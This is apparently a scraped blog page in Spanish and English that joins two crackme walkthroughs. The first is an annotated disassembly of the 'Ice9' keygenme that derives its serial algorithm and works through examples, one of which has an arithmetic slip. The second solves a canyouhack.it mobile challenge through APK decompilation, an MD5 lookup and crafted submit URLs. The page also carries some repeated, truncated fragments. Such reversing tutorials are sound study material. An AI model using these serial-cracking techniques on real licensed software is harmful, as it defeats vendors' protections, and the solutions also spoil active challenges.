Si nos fijamos en el serial generado nos da muchas pistas pero vamos a destriparlo ya que tampoco tiene mucha complicación. De nuevo miramos en las «String references» y clickamos sobre el mensaje de «bad boy«. Encima de los mensajes vemos claramente la rutina de creación del serial.

004010EB        |.  83F8 04             CMP EAX,4                      ;Longitud del nombre >4
004010EE        |.  72 05               JB SHORT Ice9.004010F5
004010F0        |.  83F8 0A             CMP EAX,0A                     ;Longitud del nombre <=10
004010F3        |.  76 15               JBE SHORT Ice9.0040110A
004010F5        |>  6A 00               PUSH 0                                ; /Style = MB_OK|MB_APPLMODAL
004010F7        |.  68 04304000         PUSH Ice9.00403004                    ; |Title = "Error, Bad Boy"
004010FC        |.  68 1C304000         PUSH Ice9.0040301C                    ; |Text = "name must be at least 4 chars"
00401101        |.  6A 00               PUSH 0                                ; |hOwner = NULL
00401103        |.  E8 70010000         CALL <JMP.&user32.MessageBoxA>        ; \MessageBoxA
........
00401183         .  3BD3                CMP EDX,EBX
00401185         .  74 15               JE SHORT Ice9.0040119C
00401187         .  8A07                MOV AL,BYTE PTR DS:[EDI]
00401189         .  3C 5A               CMP AL,5A                     ;Compara que el dígito < 5A
0040118B         .  7E 05               JLE SHORT Ice9.00401192
0040118D         >  03C8                ADD ECX,EAX                   ;ECX + Ascii(dígito)
0040118F         .  47                  INC EDI 
00401190         .^ EB EE               JMP SHORT Ice9.00401180
00401192         >  3C 41               CMP AL,41                     ;Compara que el dígito > 41
00401194         .  7D 02               JGE SHORT Ice9.00401198
00401196         .  EB 02               JMP SHORT Ice9.0040119A
00401198         >  04 2C               ADD AL,2C                     ;Si cumple lo anterior dígito +2C
0040119A         >^ EB F1               JMP SHORT Ice9.0040118D
0040119C         >  81C1 9A020000       ADD ECX,29A                   ;ECX + 29A
004011A2         .  69C9 39300000       IMUL ECX,ECX,3039             ;ECX * 3039
004011A8         .  83E9 17             SUB ECX,17                    ;ECX - 17
004011AB         .  6BC9 09             IMUL ECX,ECX,9                ;ECX * 9
004011AE         .  33DB                XOR EBX,EBX
004011B0         .  8BC1                MOV EAX,ECX                   ;Mueve nuestro SUM en EAX
004011B2         .  B9 0A000000         MOV ECX,0A                    ;ECX = A
004011B7         >  33D2                XOR EDX,EDX
004011B9         .  F7F1                DIV ECX                       ;SUM / ECX (Resultado a EAX)
004011BB         .  80C2 30             ADD DL,30
004011BE         .  881433              MOV BYTE PTR DS:[EBX+ESI],DL
004011C1         .  83C3 01             ADD EBX,1
004011C4         .  83F8 00             CMP EAX,0
004011C7         .  74 02               JE SHORT Ice9.004011CB
004011C9         .^ EB EC               JMP SHORT Ice9.004011B7
004011CB         >  BF C8304000         MOV EDI,Ice9.004030C8
004011D0         >  8A4433 FF           MOV AL,BYTE PTR DS:[EBX+ESI-1]
004011D4         .  8807                MOV BYTE PTR DS:[EDI],AL
004011D6         .  47                  INC EDI 
004011D7         .  4B                  DEC EBX
004011D8         .  83FB 00             CMP EBX,0
004011DB         .^ 75 F3               JNZ SHORT Ice9.004011D0
004011DD         .  C607 00             MOV BYTE PTR DS:[EDI],0               ;Coje letras del nombre en función
004011E0         .  8D3D B4304000       LEA EDI,DWORD PTR DS:[4030B4]         ;del resultado anterior
004011E6         .  68 B7304000         PUSH Ice9.004030B7                    ;  ASCII "rus"
004011EB         .  68 C8304000         PUSH Ice9.004030C8                    ;  ASCII "134992368rus"
004011F0         .  E8 BB000000         CALL Ice9.004012B0                    ; Concatena
004011F5         .  68 C8304000         PUSH Ice9.004030C8                    ; /String2 = "136325628rus"
004011FA         .  68 98314000         PUSH Ice9.00403198                    ; |String1 = "12345"
004011FF         .  E8 98000000         CALL <JMP.&kernel32.lstrcmpA>         ; \lstrcmpA

Resumen (valores hexadecimales):

  • Len(Nombre ) >=4 y <=A
  • Comprueba si el dígito está es mayúsculas y si está le sume 2C al valor ascii.
  • Suma el valor ascii de todos los dígitos menos el último.
  • SUM + 29A
  • SUM * 3039
  • SUM – 17
  • SUM * 9

Finalmente concatena letras siguiendo este criterio:

  • Len(nombre) = 4 -> coje la última letra
  • Len(nombre) = 5 -> coje las dos últimas
  • Len(nombre) = 6 -> coje las tres últimas
  • Len(nombre) = 7 -> coje las cuatro últimas
  • Len(nombre) = 8 -> coje las cinco últimas
  • Len(nombre) = 9 -> coje las seis últimas
  • Len(nombre) = A -> coje las siete últimas

Ejemplo para deurus

d  e  u  r  u  (s)
64+65+75+72+75 = 225
225 + 29A   = 4BF
4BF * 3039  = E4DE87
E4DE87 - 17 = E4DE70
E4DE70 * 9  = 80BD1F0
;Pasamos a decimal y concatenamos
134992368rus

Ejemplo para Deurus

D       e  u  r  u  (s)
44(+2C)+65+75+72+75 = 25D
25D + 29A   = 4F7
4BF * 3039  = EF6AFF
EF6AFF - 17 = EF6AE8
EF6AE8 * 9  = 86AC228
;Pasamos a decimal y concatenamos
141214248rus

Como curiosidad decirtos que con el tiempo valores del estilo 29A y 3039 os pegarán rápido al ojo ya que equivalen a 666 y 12345 en decimal. Por cierto 29A fue un grupo de hackers creadores de virus muy conocido en la escena Nacional e Internacional.

Links


http://youtu.be/c4CNY902SAE Versión de texto Lista de reproducción
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Warning: This challenge is still active and therefore should not be resolved using this information. Aviso: Este reto sigue en
Rebuscando entre todo el caos que puede llegar a ser mi disco duro, he encontrado una serie de programas que

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Table of Contents

Intro

This crackme is for the challenge Mobile 2 of canyouhack.it.
This time you need to understand how the crackme works over the web.

Decompiling

The crackme is given again at Google Play, so the first step is to install and recover the APK for decompiling. The latter, I leave to you.
Open the victim with APK Studio and view the content of Mobile2.java
First we view one link:
http://canyouhack.it/Content/Challenges/Mobile/2/index.php
 If we go to the link, we view one string like a hash: 68a571bcf7bc9f76d43bf931f413ab2c. Umm, it’s like MD5. Go to decrypt online and we get the pass: «canyouhack.it». But if we test this password in the crackme, surprise!, nothing happens. We need to continue analyzing the code. Later we view the next interesting link:
«http://canyouhack.it/Content/Challenges/Mobile/2/submit.php?Token=» + Mobile2.token + «&Attempts=»
The program submit one token and concatenate with the number of attempts. Ok but what is the token and what is the number of attempts?
In this point we have to try with the information we already have.
Testing with the link of bottom we get “Nice try!” message.
http://canyouhack.it/Content/Challenges/Mobile/2/submit.php?Token=68a571bcf7bc9f76d43bf931f413ab2c&&Attempts=0
Testing with the link of bottom we get “Very Good, the password is Top*****!” message.
http://canyouhack.it/Content/Challenges/Mobile/2/submit.php?Token=68a571bcf7bc9f76d43bf931f413ab2c&&Attempts=1

  Links